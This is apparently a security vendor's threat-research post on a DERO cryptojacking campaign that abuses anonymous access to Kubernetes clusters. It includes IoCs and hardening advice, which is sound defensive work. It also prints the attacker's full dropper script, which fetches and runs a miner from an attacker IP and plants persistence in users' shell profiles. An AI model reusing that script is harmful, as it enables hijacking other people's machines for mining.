Pause off my cluster: DERO cryptojacking takes a new shape

Learn how the threat actors behind the 2023 DERO cryptojacking campaign have adapted their techniques to evade detection, and the best practices for mitigation.

We have detected a new variant of an ongoing cryptojacking campaign targeting misconfigured Kubernetes clusters in our customers’ cloud environments. 

In this incident, the threat actor abused anonymous access to an Internet-facing cluster to launch malicious container images hosted at Docker Hub, some of which have more than 10,000 pulls. These docker images contain a UPX-packed DERO miner named "pause". Interestingly, the threat actor has hard-coded their wallet and pool information into the miner executable, which enables the threat actor to execute the miner without any flags, probably as a defense evasion mechanism. The early stages of this campaign were documented in March of 2023, but our latest findings show that this threat actor has been working to adapt their techniques in response to this publication. 

We used IOCs identified during the incident investigation as pivot points to find additional tools used by the attackers. Our analysis indicates that the threat actor employed various methods to propagate within target cloud environments and deploy miners. During our investigation, the attacker updated their Docker Hub repository images, indicating that the campaign is still active.  

In this blog post, we will detail the incident, explain the changes and additions the threat actor has made to their tooling since this campaign was first documented last year, and provide best practices for defense and mitigation along with indicators of compromise (IoCs). 

For more information about this incident and others impacting cloud environments, be sure to check out the Wiz Cloud Threat Landscape

Attack flow

Technical analysis

Initial access 

We determined the initial access vector to be an externally accessible Kubernetes API server with anonymous authentication enabled [T1190]. With anonymous auth enabled, every unauthenticated user interacting with the cluster API is assigned system:anonymous user in system:unauthenticated group. This user has only minimal permissions to operate on cluster resources; for example, list cluster version by accessing /version endpoint. Therefore, on its own, a public cluster with anonymous auth enabled is not a problem (after all, GKE and EKS employ this mode by default). However, when the system:anonymous user or the system:unauthenticated group is assigned non-default permissions, external unauthenticated users may abuse these permissions as they see fit, which may very well include malicious purposes. This is what happened in this incident. 

Kubernetes deployments 

After gaining initial access and verifying that the necessary permissions were present, the attacker proceeded to deploy various cryptominer workloads [T1610]. For example, a K8s deployment named k8s-device-plugin in the kube-public namespace with pods containing an image called nohuppo:pause. Another example is a daemonset named pytorch-container in the kube-system namespace with pods containing an image called dockerproxies/pause

Overall, we observed five different deployments scattered across namespaces (the full list of the workloads and containers can be found in the Indicators of Compromise section at the end of this post).  

nohuppo:pause image in docker hub

It is evident that the attackers used benign-looking names for name confusion to make it harder to detect the malicious deployments [T1036.005]. For example, k8s-device-plugin is a default name for NVIDIA operator deployment, and kubernetes-external-secret is a take on the operator handling external secrets. Another interesting point to note is the distribution of workloads across different control plane namespaces to blend with the legitimate control plane workloads. 

These masquerading techniques [T1036.005] can of course prove effective against cursory manual inspection but fail against more comprehensive protection and detection solutions. 

Malicious docker images 

The malicious docker images contain a miner named "pause" [T1036.005] which is located under /var/tmp or /usr/local/bin. The miner is a UPX-packed [T1027.002] DERO miner. The image’s entrypoint.sh simply executes the miner:  

#!/bin/bash

echo "ok"

sleep 10

./pause

The name of this container is likely intended to mimic that of the real “pause” container [T1036.005] [T1610] commonly found in Kubernetes clusters. This container normally serves as a minimal bootstrap container that sets up the network namespace for a pod, allowing all other containers in the pod to share the same network and IP address. This ensures consistent networking and resource management while consuming minimal resources. The legitimate pause container runs a minimal binary named “pause”. This binary essentially does nothing but serve to keep the container running, thereby maintaining the network namespace and other shared resources for the duration of the pod's lifecycle.  

This is not the first-time attackers have chosen to mimic the “pause” container to hide malicious activity. For example, in September 2020 Microsoft documented TeamTNT using Docker Hub images named “pause” [T1036.005] [T1610] to facilitate cryptojacking [T1496] (check out this blog to learn more about how threat actors can leverage several types of Kubernetes containers and pods). 

The miner 

The threat actor compiled a DERO miner [T1496], an open-source miner written in Go.  
However, they modified the original DERO code’s main function, hardcoding an encrypted wallet address and custom mining pool URLs into the binary [T1140]. 

The following snippet shows the new code that was added by the attacker, allowing them to run the miner without any suspicious command line arguments or configuration files, as a defense evasion technique.

We managed to extract the decrypted text by debugging the sample in our sandbox environment and adding a break point after the decryption function: 

A screenshot from GDB showing the decrypted wallet address (base64)

Further analysis allowed us to write a program that extracts and decrypts these strings statically, so we ran it on all samples and variants we found in customer environments and other sources. In total, we found two different wallet addresses among the different samples we analyzed: 

  • dero1qyy8xjrdjcn2dvr6pwe40jrl3evv9vam6tpx537vux60xxkx6hs7zqgde993y

  • dero1qyhauw0rvt5sr0nvsg97n9wq0hg4s0hrj7xs09yw97tctfdqevxgzqgf40nxc

The original mining pool used by the attacker, community-pools.mysrv[.]cloud which is a known Dero pool, was also used in this incident by some variants. However, in other variants, in addition to encrypted wallets, code was also added to hide additional mining pools: 

The encrypted URLS

Decrypting these revealed the following subdomains: 

  • d.windowsupdatesupport[.]link 

  • h.windowsupdatesupport[.]link 

  • name.windowsupdatesupport[.]link 

At the time of writing, these subdomains do not point to an active mining pool, but they have previously resolved to IP addresses of known DERO pool domains, according to VirusTotal. We assess that the attacker registered these domains [T1583.001] to evade detection by monitoring which may be scanning for DNS queries for known mining pools, but not for communication with their IP addresses. 

Uncovering additional attacker activities 

By pivoting in VirusTotal, we were able to find more tools we believe to be related to the same threat actor. These seem to indicate that besides exploiting misconfigured Kubernetes clusters as we observed in our investigated incident, the attacker has also been targeting other types of environments while using additional techniques:  

  • A Windows sample of a UPX-packed [T1027.002] DERO miner (42e82a37cc6b44f7bc58c6ef6bf3e9e2) was uploaded to VirusTotal on February 24th, 2024. This sample hardcodes the same wallet seen in the “pause” Linux samples observed in this incident (dero1qyy8xjrdjcn2dvr6pwe40jrl3evv9vam6tpx537vux60xxkx6hs7zqgde993y).  

  • A dropper script named ddns.sh was uploaded to VirusTotal on April 15th, 2024: 

#!/bin/bash
for process in java-deamon py.elf getpy.sh; do
    pid=$(ps -C "$process" -o pid= | grep -v PID)
if [ -n "$pid" ]; then
        process_path=$(ls -l /proc/"$pid"/exe | awk '{print $NF}')
        if [ -n "$process_path" ]; then
            echo "Removing $process file: $process_path"
            rm -f "$process_path"
        fi
        echo "Killing $process process"
        kill -9 "$pid"
    fi
done
if command -v nvidia-smi &> /dev/null; then
    echo "Running nohup ./python3.6.3 &"
    cd /tmp; mkdir .p && cd .p; wget https://github.com/develsoftware/GMinerRelease/releases/download/3.43/gminer_3_43_linux64.tar.xz; tar xvf gminer_3_43_linux64.tar.xz; rm -rf gminer_3_43_linux64.tar.xz *.sh miner.sig public.gpg readme.txt sample_config.txt; mv miner python3.6.3; nohup ./python3.6.3 --algo kawpow --server xna.2miners.com --port 16060 --user NYryXAGi7niFPk5FaxmqcY8hpTHmnFA9eT.TT --ssl 1 >/dev/null 2>/dev/null &
else
    echo "Running nohup ./python3.8 &"
    cd /tmp; mkdir .tmp && cd .tmp; wget http://209.141.32.182/cloud; mv cloud .python3.6 && chmod +x .python3.6; while true; do nohup ./.python3.6 >/dev/null 2>&1; done &
fi
script_path="/var/tmp/.ddns.sh"
echo "#!/bin/bash" > "$script_path"
cat "$0" >> "$script_path"
chmod +x "$script_path"
echo "Script saved."
if ! grep $script_path ~/.bash_profile > /dev/null;then
    echo "$script_path >/dev/null 2>&1 & disown" >> ~/.bash_profile
fi
if ! grep $script_path ~/.bashrc > /dev/null;then
    echo "$script_path >/dev/null 2>&1 & disown" >> ~/.bashrc
fi
echo "$script_path >/dev/null 2>&1 & disown" > ~/.bash_logout
for f in $(ls /home)
do
    if ! grep $script_path /home/${f}/.profile > /dev/null;then
        echo "$script_path >/dev/null 2>&1 & disown" >>/home/${f}/.profile
    fi
done
echo "down."

The script first checks for the existence of java-daemon , py.elf , and getpy.sh processes and terminates them if found. This is likely a measure to eliminate competing miner processes, as it is common for miners to vie for machine resources. Next, it checks if a GPU is present by checking if the nvidia-smi command exists. If this check succeeds, the script will download [T1105] GMiner from GitHub and rename it as python3.6.3 and execute it. Otherwise, if the nvidia-smi command does not exist, the script will download [T1105] a binary named cloud from an attacker-controlled server (http:// 209.141.32[.]182/cloud), rename it to python3.6, and execute it with nohup [T1564.011]. Based on VirusTotal, the binaries served by this server were the same as those observed in this incident (22de8e4b08be5c2b1cc5eb2012739786 and cc47cb1bbef442d2f6aa7bc0b0843c88). Finally, the script tampers with bash history and other bash related logs to hide evidence of its execution [T1070].  

The evolution of “pause” 

Since this activity was first documented by CrowdStrike last year, the attacker has evidently implemented several measures to evade detection. Firstly, they utilized UPX-packing [T1027.002] to obscure the binary, making it harder for traditional antivirus tools to statically analyze and detect the malicious code. Additionally, the attacker embedded encrypted [T1140]  wallet address and mining pool information directly within the binary, bypassing detection methods that monitor command-line arguments for suspicious activity. Finally, they registered domains [T1583.001] with innocent-looking names to avoid raising suspicion and to better blend in with legitimate web traffic, while masking communication with otherwise well-known mining pools. These combined tactics demonstrate the attacker's ongoing efforts to adapt their methods and stay one step ahead of defenders. 

Activity timeline 

According to our analysis, the earliest indication of this activity was the creation of the domain windowsupdatesupport[.]link on May 7th, 2023. As of this writing, there are active DNS queries to this domain, suggesting that the threat is ongoing. 

As for the Docker Hub users who added the malicious images:   

  • dockerproxys joined Docker Hub on March 19th, 2024. The images hosted by this user were last updated on May 16th, 2024.  

  • pausehubs joined Docker Hub on February 20th, 2024. 

  • nohuppo joined Docker Hub on July 31st, 2023. 

We informed Docker Hub about these accounts, and they took down dockerproxys and nohuppo

How can organizations defend themselves? 

To make sure that your organizations’ Kubernetes clusters are not susceptible to this type of attack, consider taking the following precautionary steps that implement firewalling and user access control

  1. Disable external cluster access: Unless external network access to the cluster is absolutely necessary, always create a private cluster without public internet exposure. This alone will prevent opportunistic attackers from launching similar attacks against your clusters.  

  2. Disable anonymous cluster access: 

    For managed EKS and GKE clusters: make sure there are no additional roles associated with system:anonymous or system:unauthenticated.  

    For unmanaged clusters: disable anonymous authentication mode if possible. If anonymous authentication is necessary, ensure that only minimal roles are associated with system:anonymous and system:unauthenticated

How Wiz can help 

Prevention 

  1. Wiz customers can use the following controls to detect instances in their environment of the toxic risk combinations exploited by the attackers as an initial access vector: 

  2. Customers also have an option to deploy the Wiz Admission Controller with the pre-defined policies of image signature verification and registry origin. These policies can prevent similar attacks by blocking untrusted container image execution.

Detection 

Wiz customers can use the Wiz Sensor and Threat Detection Rules to be alerted of actions performed in their environment that could relate to the aforementioned attack. Wiz has multiple detection rules and single-event rules, as well as rules correlating between multiple sources. Streaming various sources (cloud logs, K8s audit logs, Wiz sensor events etc.) allows Wiz to deliver high fidelity detections and provide a full picture of an attack.  

  • Kubernetes audit log–based rules detect initial actions by anonymous users. 

  • The Wiz Runtime Sensor detects cryptojacking attacks by combining different event types, such as detecting sustained high CPU utilization by a suspicious process. 

Summary 

In this blog post, we detailed how a long-running cryptojacking campaign targeting misconfigured Kubernetes clusters has adapted over time to evade detection. We listed IoCs and provided recommendations for how to avoid these types of attacks. 

This incident should encourage organizations to adopt a security-posture solution, enabling security teams to mitigate toxic risk combinations and reduce attack surfaces vulnerable to threat actors. Additionally, this should be paired with a runtime protection mechanism capable of swiftly identifying and addressing security breaches before they cause significant harm. 

While there was no evidence that the threat actor moved laterally from the Kubernetes cluster to the larger cloud environment in this instance, attackers can certainly do so if strong security boundaries are not in place. To learn more about preventing lateral movement from cluster to cloud, check out our blog on the subject. 

Feel free to reach out to threat.hunters@wiz.io if you’ve been impacted by this activity or wish to exchange further information and IoCs that might assist in ongoing analysis. 

Indicators of Compromise

Kubernetes IoCs 

Kubernetes Deployments and Daemonsets: 

  • k8s-device-plugin-7c8fb68474 

  • pytorch-container 

  • kubernetes-external-secret 

  • service-clusterip 

  • autoscaler-first-release 

Kubernetes namespaces: 

  • kube-system 

  • kube-public 

  • kube-node-lease 

Container names:  

  • konnectivity-agent 

  • pytorch-container 

  • kubernetes-external-secrets 

  • service-clusterip 

  • autoscaler-first-release 

Container images: 

Wallets: 

  • NYryXAGi7niFPk5FaxmqcY8hpTHmnFA9eT.TT 

  • dero1qyy8xjrdjcn2dvr6pwe40jrl3evv9vam6tpx537vux60xxkx6hs7zqgde993y 

  • dero1qyhauw0rvt5sr0nvsg97n9wq0hg4s0hrj7xs09yw97tctfdqevxgzqgf40nxc 

Network: 

  • community-pools.mysrv[.]cloud 

  • d.windowsupdatesupport[.]link 

  • h.windowsupdatesupport[.]link 

  • name.windowsupdatesupport[.]link 

  • update.windowsupdatesupport[.]link 

  • 209.141.32[.]182 

DERO-miner:  

Binary location on malicious image:  

  • /var/tmp/pause 

  • /usr/bin/pause 

File hashes 

ArchitectureSHA256SHA1MD5
Linux - amd6468656198c24d6b32c4916a5686906c62baf7d6baae3b1d7dc615e43cb6d3fca8427aee9ff60df3c102c3feab5319da34ecbf4b7022de8e4b08be5c2b1cc5eb2012739786
Linux - amd64e4aa649015b19a3c3350b0d897e23377d0487f9ea265fe94e7161fed09f283cf7a60e8398cd4f9bd46b6bcf9bfa9863c1bf87ea814e7fb298049a57222254ef0f47464a7
Linux - amd6449e8422e5f273a564c15755711ab2a35a1deb2105bbe1a0a8ce670c9b38721e5464c26c2ed6c06508ce975aeee2d589c9a2fdac2cc47cb1bbef442d2f6aa7bc0b0843c88
Linux - amd64ad2ee0040f88a9001a32f945ce15de2dd1126c0f9f6cb626f2de0163792d8ff7244e98c20acb54d7ef65b57d4cd364aa9d46731db6224dc51657a32e1aec1ca2a74c424a
Linux - amd64649a6fa70b26e5382652808348522b5e7f43f2f77a1b10a4cc5e5bfd5cb8032702e20e6d1b870d1365028246617ede951f399567eea6a4938a53eb5e4e254812b3f150c6
Linux - amd6406d080c816f099cccab56e4b596128e73cd63f524bdc2ddf5dd78c26f409f21959a835e812374c748d038498b70c04d0f36a87510576d33ec4bcd20966c3a24c210e0cad
Linux - amd64561790bd60258e056c72755bbaf848cfe5c3af548882c6a6579a599192bce3d2812860c0db73cb2224fe862c0bfd8c7485fc0807207e358ed42fe1346213480f64a91442
Linux dropper (ddns.sh)e1de787777faba85dcca4e10d945553aefdba14b1995cca7cf0721ee571c7e968fd9157811ea69a7253d3fadbea19b4cbb1a6ccd7c28e0727c74890b3998716967ab8339
Linux – armd6b14a4fbe5b9adbc0094098b4690ba5f5426247e21474915c408ca4553fcd49c744dbf1bfa9f410111625f0b1c605a2b5f968d8806b91c933e2202d5b6d836af9162e28
Windows9131aac1df4b3a610f5fe69c55fdc19f07055648c0081e61536eb903e0914dc28c6793ec6b0459a75f114d0d18785af9ca56b75e42e82a37cc6b44f7bc58c6ef6bf3e9e2

MITRE ATT&CK® Techniques 

Command and Control - Ingress Tool Transfer (T1105

Defense Evasion - Deobfuscate/Decode Files or Information (T1140

Defense Evasion - Hide Artifacts: Ignore Process Interrupts  (T1564.011

Defense Evasion - Indicator Removal (T1070

Defense Evasion - Masquerading: Match Legitimate Name or Location (T1036.005

Defense Evasion - Obfuscated Files or Information: Software Packing (T1027.002

Execution - Deploy Container (T1610

Impact - Resource Hijacking (T1496

Initial Access - Exploit Public-Facing Application (T1190

Resource Development - Acquire Infrastructure: Domains (T1583.001

Continue reading

Get a personalized demo

Ready to see Wiz in action?

“Best User Experience I have ever seen, provides full visibility to cloud workloads.”
David EstlickCISO
“Wiz provides a single pane of glass to see what is going on in our cloud environments.”
Adam FletcherChief Security Officer
“We know that if Wiz identifies something as critical, it actually is.”
Greg PoniatowskiHead of Threat and Vulnerability Management